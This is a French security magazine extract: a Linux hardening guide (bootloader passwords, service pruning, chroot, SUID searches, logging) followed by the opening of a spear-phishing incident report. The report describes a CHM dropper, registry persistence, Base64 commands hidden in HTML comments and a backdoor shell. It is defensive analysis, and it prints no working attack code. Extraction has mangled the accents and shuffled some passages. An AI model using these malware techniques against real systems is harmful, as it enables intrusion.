de geacuterer la seacutequence de deacutemarrage de la machine (entre autre)

bull Le chargeur damorccedilage (Boot loader) (Charge-ment secondaire) Il permet de seacutelectionner le sys-tegraveme dexploitation sur lequel nous voulons deacutemar-rer

bull Le systegraveme dexploitation

seacutecurisation du BiosLe BIOS fait partie de ces parties obscures de lin-formatique que le simple utilisateur ne seacutecurise pas pourtant la mise en place dune couche seacutecuriteacute est assez simple agrave mettre en œuvre Dans un premier temps il faut limiter la seacutequence de deacutemarrage au dis-que dur maicirctre seul Si un autre peacuteripheacuterique tel que lUSB ou un lecteur optique est activeacute il sera possible de deacutemarrer avec une distribution live sur la machine dacceacuteder et modifier ses donneacutees Puis dactiver un mot de passe pour modifier la configuration du BIOS Nous permettant ainsi de proteacuteger la seacutecurisation preacute-ceacutedemment mise en place Il est aussi possible dacti-ver sur certaines cartes megraveres un mot de passe avant le chargeur damorccedilage Enfin la mise en place dun cadenas sur le boicirctier de la machine (ce nest actuelle-ment pas possible sur les portables) afin deacuteviter quun petit malin neffectue un CLEAR CMOS (reacuteinitialisation de la configuration du BIOS) via les connecteurs preacute-vus agrave cet effet sur la carte megravere

regravegles de seacutecurisation sous Linux

Cet article aborde la probleacutematique de seacutecurisation des services reacuteseaux en passant par les sauvegardes et virtualisation Il y aura question de regravegles de seacutecurisation a mettre en place afin drsquoobtenir un niveau de seacutecuriteacute convenable

Cet article expliquebull Comment seacutecuriser la seacutequence de deacutemarragebull La pobleacutematique de seacutecurisation des services reacuteseauxbull Quelles sont les possibiliteacutes avec la gestion des droits sur les fi-

chiers sous Linuxbull Des points importants sur la virtualisationbull Pourquoi utiliser la journalisation et les sauvegardes

Ce quil faut savoirbull Des connaissances en administration Linux

Nicolas Hanteville

regravegles de seacutecurisation

hakin9orgfr

password=M0n_Super_M0t_De_Pa$$e

restricted

delay=5

Pour appliquer un mot de passe sur une image preacutecise

image=bootImage

read-only

password=M0n_Beau_M0t_De_Pa$$e

restricted

Il faut ensuite appliquer les modifications

sbinlilo -v

Une autre solution compleacutementaire (fonctionne sous UBUNTU) permet de speacutecifier les peacuteripheacuteriques tty (terminaux) ou root peut se connecter Par exemple dans le fichier etcsecuretty en mettant en commen-taire toutes les lignes mise agrave part tty1 si vous utilisez udev ou vc1 pour devfs

Limiter le nombre de services au deacutemarrage Les problegravemes de seacutecurisation des machines provien-nent aussi du nombre de programmes exeacutecuteacutes au deacutemarrage du systegraveme dexploitation qui pour un bon nombre ne servent pas

Plusieurs outils permettent de le faire graphique-ment de maniegravere native sous Ubuntu dans le menu Systegraveme-gtAdministration-gtServices il est possible en simplement deacutecochant des cases de deacutesactiver des services Il existe aussi sysv-rc-conf ou boot-up mana-ger ce sont des outils suppleacutementaires que je cite pour exemple mais je conseille la meacutethode manuelle (voir commandes agrave la fin du chapitre)

On ne deacutesactive pas nimporte quoi sous peine de rendre le systegraveme instable au prochain deacutemarrage

Quels services deacutesactiver La reacuteponse est agrave la fois simple on supprime les ser-vices inutiles et agrave la fois compliqueacutee quels services sont utiles

Voici un exemple de services inutiles (les plus geacuteneacute-raux)

bull apache si vous navez pas vocation agrave transformer votre machine en serveur Web il vaut mieux le deacute-sinstaller

Bien sucircr la solution la plus facile pour acceacuteder aux donneacutees dune machine locale eacutetant la reacutecupeacuteration du support de stockage tregraves facile agrave enlever sur la majoriteacute des ordinateurs portables

La meilleure solution actuelle pour limiter laccegraves aux donneacutees confidentialiteacute eacutetant le chiffrement de disque dur entier ou bien par container

Une solution libre de chiffrement par container TrueCrypt httpwwwtruecryptorg

seacutecurisation du chargeur damorccedilageLes plus connus eacutetant GRUB (GRand Unified Bootloa-der) et LILO (LInux LOader) les chargeurs damorccedilage permettent de seacutelectionner le systegraveme dexploitation sur lequel deacutemarrer mais aussi de deacutemarrer en mode single user (eacutedition interactive) qui permet de deacutemarrer loca-lement avec des droits root sans aucun mot de passe par deacutefaut

Pour le seacutecuriser plusieurs options sont possibles

bull deacutefinir un mot de passe pour deacutemarrer le systegraveme dexploitation

bull ou supprimer ce mode

sous GrUBPour deacutefinir un mot de passe il faut dans un premier temps chiffrer le mot de passe en MD5 il est possible dutiliser le shell grub avec la commande md5crypt (voir Figure 1)

Puis dajouter dans le fichier de configuration bootgrubmenulst apregraves la ligne time-out la ligne suivante password --md5 Mon_Mot_De_Passe

La commande --md5 signifie que le mot de passe nest pas en clair

Apregraves cette manipulation on peut maintenant speacutecifier les entreacutees qui requiegraverent un mot de passe pour ce faire il faut ajouter apregraves la ligne title dune entreacutee la com-mande lock (les lignes sont tronqueacutes volontairement)

title Debian GNULinux (recovery mode) lock

kernel bootvmlinuz ro single

initrd bootinitrdimg

Pour supprimer le mode single user ce mode est ap-peleacute single sous GRUB il suffit donc de supprimer les entreacutees correspondantes (ci dessus) Quand vous sup-primez une entreacutee dans le fichier de configuration cela peut alteacuterer la seacutelection du systegraveme dexploitation par deacutefaut (penser agrave modifier la valeur default du deacutebut

sous LiLoLa deacutefinition du mot de passe peut ecirctre globale ou par entreacutee malheureusement le mot de passe reacuteside en clair dans le fichier Pour appliquer un mot de passe global on ajoute au deacutebut du fichier etcliloconf ou etcmenulst comme suit Figure 1 Exemple dutilisation de md5crypt

52010

dossier

bull at planificateur deacutevegravenements si aucun autre pro-gramme ne lutilise (exeacutecution peacuteriodique) vous pou-vez le deacutesactiver attention toutefois il est tregraves sou-vent utiliseacute

bull PCMCIA si vous necirctes pas sur une machine pos-seacutedant ce port il ne sert agrave rien

bull bluetooth si vous navez pas de connectique Blue-tooth il ne sert agrave rien

bull cups si vous nutilisez pas dimprimante (il est parfois utiliseacute avec certains programmes dimpression PDF)

bull FTP serveur de fichierbull ssh si vous neffectuez pas dadministration distan-

te sur votre machine supprimez-le

Cette liste nest pas exhaustive il existe beaucoup trop de programmes pour tous les lister ici Le fait de deacute-sactiver un service diminue limpact quil aura sur la seacutecuriteacute de la machine et diminue aussi la meacutemoire et le temps processeur utiliseacutes cest donc tregraves beacuteneacutefique

Pour lister les services et leurs niveaux dexeacutecution

sbinchkconfig --list

- Pour lister les services reacuteseaux en eacutecoute

lsof -i -n | egrep COMMAND|LISTEN

- Arrecircter un service

etcrcdinitd[nom du service] stop

- Exeacutecuter un service

etcrcdinitd[nom du service] start

- Ajouter un service du deacutemarrage

update-rcd [nom du service] defaults

- Supprimer un service du deacutemarrage

update-rcd [nom du service] remove

Il est aussi possible deffectuer une exeacutecution de comman-de automatique lors de la connexion de lutilisateur notam-ment avec le fichier home[Nom de lutilisateur]bashrc

seacutecurisation des servicesLes nouveaux modegraveles de communication font que lintrusion dans les systegravemes dinformation la plus

significative provient de la seacutecurisation des services reacuteseau et plus preacuteciseacutement des applications Web il est donc tregraves important de seacutecuriser ces services Nous ne parlerons pas ici de la seacutecurisation par filtrage qui sera traiteacutee dans un autre article

ChrootCest une commande qui permet de modifier la racine de lapplication afin de cloisonner le service agrave son pro-pre environnement (voir Figure 2) Elle peut ecirctre utiliseacutee dans deux cas

bull Pour changer denvironnement (basculer vers un autre systegraveme) par exemple utiliser un environne-ment 32bits sur un systegraveme 64bits

bull Pour cloisonner un programmeutilisateur et lempecirc-cher de remonter dans larborescence

Concregravetement mon application Apache est vulneacutera-ble agrave une faille qui permet dacceacuteder agrave un shell distant Dans le premier cas (sans chroot) lattaquant reacutecupegrave-re la main sur mon systegravemeDans le second cas (avec chroot) lattaquant na accegraves quau reacutepertoire de lap-plication il ne peut pas remonter dans larborescence seule mon application est compromise Bien entendu cela nest quun exemple (des manipulations existent pour passer outre cette seacutecuriteacute) mais dans le cas de services mutualiseacutes on eacutevite ainsi de perdre tous les services seul le service incrimineacute est compromis

Nous nexpliquerons pas la proceacutedure de chroot dun service ici de tregraves bons articles et sites web en parlent notamment sur le site httplea-linuxorg sachez tout de mecircme que certaines applications requiegraverent decirctre recompileacutees pour fonctionner dans cet environnement restreint

Les modules et fonctionnaliteacutesPlus un systegraveme est complexe moins il est facile de le seacutecuriseacute il est donc primordial de limiter au maximum les fonctionnaliteacutes agrave notre strict besoin

Les fichiers par deacutefaut de deacuteveloppement (exemple la page phpinfophp pour PHP) sont souvent oublieacutes De nombreux automates (scanner de vulneacuterabiliteacute exemple Nessus) permettent de veacuterifier les configura-tions par deacutefaut Ils peuvent apporter des informations agrave un eacuteventuel assaillant il est donc primordial deffacer ces composants

De nombreux programmes (TOMCAT PHP ) utilisent des modules pour lajout de fonctionnaliteacute ces modules

Figure 2 Changement de racine

etcapacvhe

Figure 3 Droit SUID

hakin9orgfr 9

sont bien souvent installeacutes par deacutefaut et oublieacutes or dans le cas dapplications WEB ces oublis permettent bien souvent dutiliser des exploits la suppression de ces modules permet de corriger ce problegraveme (en les deacutesinstallant ou la plupart du temps en commentant les lignes dans les fichiers de configuration)

Versions et mise agrave jourLa premiegravere chose que va chercher agrave obtenir un eacuteventuel attaquant sur un systegraveme reacuteseau est la version drsquoappli-cation ou du systegraveme afin de le comparer avec des listes de vulneacuterabiliteacutes existantes Hors dans de nombreux cas ces versions sont facilement identifiables

Exemple sur un serveur FTP lors de la connexion celui-ci va nous indiquer sa version de systegraveme dex-ploitation son nom de logiciel et sa version

Les solutions ne sont pas toujours tregraves simples mais existent

bull la suppression des banniegraveres de connexion ou au moins les rendre anonymes au maximum (requiert parfois une recompilation du binaire)

bull la mise agrave jour constante des applications et des systegravemes (malheureusement les failles 0 days existent)

bull le changement des mots de passe par deacutefaut

Une autre probleacutematique agrave laquelle on ne songe pas toujours lors de la mise agrave jour dun systegraveme il arri-ve bien souvent que le correctif de seacutecuriteacute modifie la configuration de lapplication (par exemple sur Ora-cle lrsquoapplication de certains correctifs reacuteinitialise les paramegravetres de seacutecuriteacute)

Apregraves lapplication dun correctif il est primordial de veacuterifier la configuration de seacutecuriteacute dune application

droits et fichiersDepuis toujours ladministration essaie de prendre en compte les notions de seacutecuriteacute mais oublie bien souvent la gestion des droits sur les fichiers Sous les systegravemes Linux il existe les droits standards (lectureeacutecritureexeacute-cution avec la gestion utilisateurgroupeautre) et les droits eacutetendus (Suid Sticky Bit ACL)

Eacutenumeacuterer les fichiers et reacutepertoires avec des droits en eacutecriture pour tous

fi nd type d -perm -2 -exec ls -lcd

Pour un systegraveme multi-utilisateurs avec des partages de fichiers le systegraveme de droits standard nest pas suf-fisant Pour ce faire il existe les ACL (commandes getfacl et setfacl) qui permettent une gestion de droits plus fine sur les fichiers

Dans la majoriteacute des cas un administrateur ne pen-sera pas agrave faire un getfacl sur un fichier il fera un simple ls -al et passera donc devant des droits peut ecirctre trop

9

5201010

dossier

permissifs crsquoest pour cela quil est recommandeacute dutili-ser au strict besoin ce genre de droits

Les droits setuid et setgid (repreacutesenteacutes par un s) permettent agrave un programme de sexeacutecuter avec les droits de son proprieacutetaire par exemple la commande passwd permet agrave un simple utilisateur de modifier son mot de passe (par deacutefaut) dans le fichier etcpasswd ou etcshadow (voir Figure 3)

Ces droits sont agrave lorigine dun tregraves grand nombre de failles de seacutecuriteacute locales qui permettent leacuteleacutevation de privilegraveges sous Linux (passer dun simple utilisateur agrave root) il est donc fortement recommandeacute de lutiliser au strict minimum

Liste des fichiers ougrave les droits SUID et SGUID sont positionneacutes

find ( -perm -4000 -o -perm -2000 ) -exec -l -lc

Le sticky bit (bit de collage) est un droit compleacutemen-taire positionneacute sur un fichier il permet de garder le fi-chier en meacutemoire si par contre il est positionneacute sur un reacutepertoire (exemple tmp) les fichiers creacuteeacutes dans ce reacutepertoire ne pourront ecirctre supprimeacutes que par le pro-prieacutetaire du fichier

Drsquoautres attributs de fichiers (positionneacutes avec la commandes chattr et visibles avec lsattr) peuvent ecirctre appliqueacutes

bull a on peut seulement ajouter des donneacutees au fi-chier

bull c compresseacute automatiquementbull i ne peut ecirctre modifieacute (ni supprimeacute ni renommeacute)bull s remplacement de tous les blocs du fichier lors

de la suppression par des 0bull u sauvegarde du fichier en cas de suppression

Exemple drsquoutilisation

bull chattr +i mon _ fichier ajoute lattributbull chattr -i mon _ fichier supprime lattributbull chattr =i mon _ fichier ne laisse que lattribut

La virtualisationLa reacutepartition de charge par virtualisation est de plus en plus utiliseacutee elle permet sur un serveur suffisamment puissant deacutemuler plusieurs serveurs (par exemple dobtenir sur une mecircme machine plusieurs controcircleurs de domaine) Ces architectures sont assez reacutecentes et geacuteneacuteralement mal maicirctriseacutees par les administrateurs (voir Figure 4)

Figure 4 Virtualisation

regravegles de seacutecurisation

hakin9orgfr 11

La seacutecurisation et la mise agrave jour de serveursma-chines virtuels doit ecirctre consideacutereacutee de la mecircme maniegravere que pour des serveurs physiques ils sont bien souvent oublieacutes Sous Linux il existe plusieurs logiciels de virtualisation VIRTUALBOX VMWARE Xen Qemu(Qemu et VIRTUALBOX sont gratuits mais ne sont pas optimiseacutes pour des CLUSTERS) Il est aussi possible dutiliser une machine virtuelle pour tester les politiques de seacutecuriteacute avant de les appliquer sur un serveur en distribution Le fait quune machine soit virtuelle ne doit pas limiter la maniegravere de la seacutecuriser il faut consideacuterer que cest une machine physique avec quand mecircme quelques atouts (notamment la faciliteacute de remplacement en quelques commandes la machines virtuelle est re-monteacutee agrave son original)

Un cœur de reacuteseau virtualiseacute apporte t-il plus de seacutecuriteacute qursquoune batterie de machineAgrave ce genre de question le normand qui sommeille en moi aurait tendance agrave reacutepondre oui et non Il faut bien comprendre le fonctionnement si je mets en place une virtualisation de serveur mes serveurs pour communi-quer entre eux vont communiquer sans passer par le reacuteseau (en fait la partie reacuteseau entre les serveurs est elle

aussi virtualiseacutee) donc la partie habituellement physique entre mes serveurs (cacircbles reacuteseaux et eacuteleacutements actifs) qui peut engendrer des failles de seacutecuriteacute de lrsquointer-ception de communication nrsquoa plus lieu drsquoecirctre (bien sucircr drsquoautres possibiliteacutes drsquointerceptions sont possibles via des applications tiers mais beaucoup moins discregravetes)

Drsquoun autre cocircteacute si une des machines virtuelles est compromise il est tregraves facile de lrsquoisoler et de remettre sa fonction en place (des routines automatiques exis-tent) mais le problegraveme vient de la machine hocircte elle est accessible du reacuteseau il est donc possible de la com-promettre ce qui revient agrave compromettre lrsquoensemble des machines virtuelles (voir Figure 5)

Journalisation et sauvegardesLa journalisation et lrsquoenregistrement des eacutevegravenements des applications sont geacutereacutes par deacutefaut par SYSLOG (configureacute via le fichier etcsyslogdconf) il permet drsquoeffectuer une centralisation des journaux drsquoaudit ainsi qursquoune gestion par niveau de criticiteacute (par deacutefaut ils sont stockeacutes dans varloglog)

Ses diffeacuterents niveaux

bull emerg kernel panic systegraveme HS bull alert doit ecirctre corrigeacute immeacutediatement

Figure 5 Exemple de communication entre eacuteleacutements du cluster

Avec Virtualisation Sans Virtualisation

Reacuteseaude lrsquoenterprise

Reacuteseaude lrsquoenterprise

5201012

dossier

bull crit panne mateacuteriellebull err erreur geacuteneacuteriquebull warning avertissementbull notice avertissement neacutecessitant un traitement

particulierbull info informationbull debug deacutebogage

Certains de ces niveaux ne doivent ecirctre utiliseacutes que dans le cas de deacuteveloppement drsquoapplication ou tests de fonctionnement (info et debug) de mecircme il est tregraves fortement conseilleacute de limiter ces informations au strict besoin Le fait de tout journaliser produirait des jour-naux drsquoune taille tregraves importante qui seraient totale-ment inexploitables

bull Atteinte de la taille maximum du support de stocka-ge plus aucune information ne sera journaliseacutee (si une option drsquoeacutecrasement est activeacutee risque de per-te drsquoinformations)

bull Tri et exploitation beaucoup trop longs (imaginez la journalisation drsquoune journeacutee qui prend plusieurs jours agrave analyser)

Il est donc primordial drsquoappliquer une journalisation adapteacutee au mode drsquoutilisation un mode debug peut ecirctre utiliseacute pour analyser le bon fonctionnement drsquoune application mais il ne doit pas ecirctre constamment acti-veacute

La protection des journaux est aussi essentielle la derniegravere chose que fera un attaquant apregraves srsquoecirctre intro-duit chez vous est drsquoeffacer ses traces un attribut de protection sur les fichiers est donc tregraves important (voir le chapitre preacuteceacutedent Droits et fichiers)

Quel est lrsquointeacuterecirct de la journalisation

bull Comme eacutenonceacute preacuteceacutedemment dans le cas de test du fonctionnement drsquoune application

bull Pour deacutetecter lrsquoorigine de problegravemes sur la machi-ne

bull Pour tracer les actions (sur le systegraveme dans une applicationhellip)

bull Afin de deacutetecter des agissements anormauxbull Pour proteacuteger lrsquoadministrateur la socieacuteteacute en vertu

des lois (respect des lois)

Mais la journalisations ne fait pas tout il faut aussi ef-fectuer des sauvegardes des sauvegardes systegravemes (par exemple avant une modification majeure reacutegu-liegraverement pour reacutecupeacuterer facilement apregraves un crash) mais aussi des journaux drsquoaudit Bien sucircr ces sauve-gardes doivent ecirctre proteacutegeacutees et deacutelocaliseacutees

En geacuteneacuteral la dureacutee de conservation des sauvegardes (journaux bien que systegravemes seraient un plus) doit ecirctre entre 1 agrave 2 ans (leacutegalement) permettant une reacuteponse aux requecirctes judiciaires

seacutecuriteacute et continuiteacuteUn systegravemes nrsquoest jamais complegravetement sucircr Lrsquohomme (ou la femme) le meilleur du monde ne pourra jamais seacutecuriser un systegraveme de maniegravere absolue

Il y a quand mecircme des moyens afin drsquoatteindre un niveau de seacutecuriteacute assez convenable

bull La mise en place de politique de seacutecuriteacutebull Effectuer de la veille technologiquebull Effectuer reacuteguliegraverement des audits de seacutecuriteacute sur

les systegravemesbull Le respect par tous des regravegles de seacutecuriteacute (le vi-

rus introduit sur le reacuteseau vient dans la majoriteacute des cas du grand chef ou des administrateurs locaux

bull Sensibiliser encore et encore

Bien sucircr cette liste nrsquoest pas exhaustive

ConclusionLa seacutecuriteacute dun systegraveme ne deacutepend pas que de sa mise agrave jour il deacutepend eacutenormeacutement de la maniegravere dont on administre ses service Que ce soit pour un serveur dune grande entreprise ou votre serveur agrave la maison la seacutecurisation de votre serveur ne sera jamais fini effectuez une veille technologique et appliquez la seacutecu-risation par laquo laccegraves au strict besoins raquo et vous aurez eacuteviteacute un grand nombre dattaque Malheureusement vous ne serrez jamais proteacutegeacute contre les nouvelles failles applicatives et ceux mecircme avec une infrastruc-ture conseacutequente

La seacutecuriteacute nest quun deacutebut son application na pas de fin

Agrave ProPos de LAUTeUrAutodidacte depuis plus de dix ans dans le domaine du deacuteve-loppement lauteur e ectue des audits de seacutecuriteacute informati-que pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

NoTe regravegles de bonnes conduites agrave garder sur ces systegravemes bull Le cloisonnement des mots de passe (le mecircme mot de

passe ne doit pas ecirctre utiliseacute entre les machines virtuelles et la machine physique)

bull La mise agrave jour des systegravemes en portant une attention particuliegravere sur la stabiliteacute du systegraveme maicirctre (machine physique)

bull Lrsquoapplication de droits restreints agrave lrsquoadministration des machines virtuelles (seul un administrateur doit pouvoir reacuteinitialiser une machine la dupliquer lrsquoexporter etc)

5201014

attaque

En regravegle geacuteneacuterale lrsquoobjectif dun attaquant est drsquoobtenir des informations sensibles sur un utili-sateur Mais il peut eacutegalement srsquoagir drsquoatteindre

des reacuteseaux speacutecifiques Bien souvent le pirate reacuteussit agrave convaincre lrsquoutilisateur de teacuteleacutecharger et drsquoexeacutecuter une piegravece jointe frauduleuse ou drsquointeragir avec lui

Dans le cadre de cet article et du rapport drsquoanalyse nous analyserons une attaque de type spear-phishing aborderons les meacutethodes utiliseacutees et lrsquoorigine de lrsquoatta-que Dans ce rapport une attaque par spear-phishing a eacuteteacute bloqueacutee et des actions ont eacuteteacute mises en œuvre pour comprendre les principes de fonctionnement de lrsquoat-taque Ce rapport examine les meacutecanismes utiliseacutes pour lattaque les outils de deacutesassemblage et les caracteacuteristi-ques qui ont permis aux utilisateurs de srsquoen preacutemunir

Nous avons utiliseacute plusieurs techniques drsquoinvestigation une analyse statique pour examiner lrsquoensemble des fichiers des outils comme IDA Pro Radare et Hiew pour lrsquoanalyse des fichiers binaires Nous avons eacutegalement analyseacute le malware agrave lrsquoexeacutecution en utilisant des machines virtuelles et des outils drsquoanalyse dynamiques comme Immunity De-bugger Python et Fiddler Des exeacutecutables ont eacutegalement

eacuteteacute modifieacutes pour permettre la simulation dun C amp C et linteraction eacutetant observeacutee avec la machine virtuelle Enfin la reconnaissance du reacuteseau de base a eacuteteacute effectueacutee pour surveiller les systegravemes geacutereacutes par lattaquant

Avec une attaque par spear-phishing et des techniques drsquoingeacutenierie sociale un attaquant peut aiseacutement envoyer un cheval de troie pour prendre les commandes drsquoun site Entre temps lrsquoutilisateur a mis agrave jour le site avec une commande de type download (teacuteleacutechargement) qui agrave son tour a permis au cheval de troie de creacuteer une bac-kdoor Une backdoor est une commande shell basique qui permet agrave un attaquant drsquoacceacuteder agrave un hocircte au niveau du systegraveme drsquoexploitation et ainsi cibler des reacuteseaux speacute-cifiques Le reste de cet article traitera de la reacuteponse agrave lattaque et de lanalyse des eacuteleacutements reacutecupeacutereacutes

une attaque par eacutetapes ndash analyse fonctionnelleDans cette rubrique nous allons expliquer en deacutetail ce qursquoest une attaque par spear-phishing Dans la pre-miegravere partie nous nous inteacuteresserons agrave la phase ougrave lrsquoattaquant envoie un e-mail avec une piegravece jointe frau-duleuse Cette piegravece jointe nrsquoest autre qursquoun cheval de troie qui permet de prendre le controcircle du site Lrsquoeacutetape suivante consiste pour le malware agrave teacuteleacutecharger et

Rapport drsquoanalyse drsquoune attaque par spear-phishing

Le Spear-Phishing est un phishing cibleacute lattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

Cet aRtICLe eXPLIquebull Analyse drsquoune attaque de type spear-phishing

Ce qursquoIL Faut SaVOIRbull Langage Python

adam Pridgen Matthew Wollenweber

Figure 1 Appel du fichier CHM agrave lrsquoexeacutecutable svchostexe Figure 2 Cleacute de registre relative agrave lrsquoemplacement du malware

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 15

Lorsque le programme est exeacutecuteacute une cleacute est enre-gistreacutee dans le registre de Windows pour lancer auto-matiquement le troyen au deacutemarrage de lrsquoordinateur

La figure 2 repreacutesente la cleacute de registre et son emplace-ment La cleacute est une cleacute de deacutemarrage peu utiliseacutee Lors-que la cleacute de registre est deacutefinie le fichier binaire reacutecupegravere lrsquohocircte et lrsquoURL qui permettront drsquoenvoyer des commentai-res sur le site Web Les commandes inteacutegreacutees agrave la page sont encodeacutees en Base 64 et sont comprises entre les balises lt-- hellip --gt Lrsquoanalyse statique du troyen reacutevegravele qursquoil nrsquoy a que quelques commandes connues dont

bull sleepbull downloadbull connectbull cmdbull quit

En cours drsquoanalyse seules les commandes sleep et down-load ont eacuteteacute utiliseacutees par lrsquoattaquant La commande sleep oblige au programme agrave ne rien faire pendant un laps de temps deacutetermineacute selon le paramegravetre passeacute agrave la fonction Lrsquoanalyse live a montreacute que la page de lrsquoattaquant eacutetait reacuteactualiseacutee toutes les 10 minutes La commande down-

installer une backdoor crsquoest-agrave-dire une porte deacuterobeacutee Nous discuterons eacutegalement de la porte deacuterobeacutee

Charges virales primaires et secondairesLa premiegravere eacutetape drsquoune attaque par spear-phishing correspond agrave lrsquoenvoi drsquoun e-mail laquo creacutedible raquo en utilisant des techniques drsquoingeacutenierie sociale Cet e-mail a pour but de manipuler lrsquoutilisateur en gagnant sa confiance ou en attisant sa curiositeacute Cette manipulation se sert de vraies ou fausses informations en plus drsquoinformations personnelles pour faire croire agrave lrsquoutilisateur qursquoil srsquoagit drsquoun e-mail de confiance Lorsque lrsquoutilisateur accepte lrsquoattaquant poursuit le deacuteroulement de son plan Dans le cas preacutesent nous nous inteacuteresserons uniquement agrave la piegravece jointe En effet les autres sections contiennent des informations personnelles et donc sensibles

La piegravece jointe contient un cheval de troie Avant lrsquoen-voi de lrsquoe-mail lrsquoattaquant a pris le soin de se renseigner sur lrsquoentreprise etou son utilisateur Le contenu de lrsquoe-mail est donc speacutecifique lrsquoutilisateur est suffisamment confiant pour ouvrir la piegravece jointe Lorsquelle est ouverte un cheval de troie est exeacutecuteacute et se lance en tacircche de fond sur la machine cible Dans le cas preacute-sent la piegravece jointe est au format CHM (fichier drsquoaide Microsoft compileacute en HTML) qui permet drsquoinstaller et de lancer le processus malveillant svchostexe comme illustreacute agrave la figure 3

La figure 1 preacutesente la portion de code CHM qui permet de mettre en œuvre cette technique Le fichier CHM utilise des contenus lieacutes agrave des logiciels open-source pour exploiter des failles sur la machine cible Les contenus regroupent diverses informations sur le site Web ainsi que des donneacutees officielles provenant de la Federal Reserve Board (FRB) relatives au deacutevelop-pement des fonds moneacutetaires mondiaux

Figure 3 Cheval de troie lanceacute par le fichier CHM Figure 4 Commande HTTP HEAD lanceacutee sur tous les serveurs

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

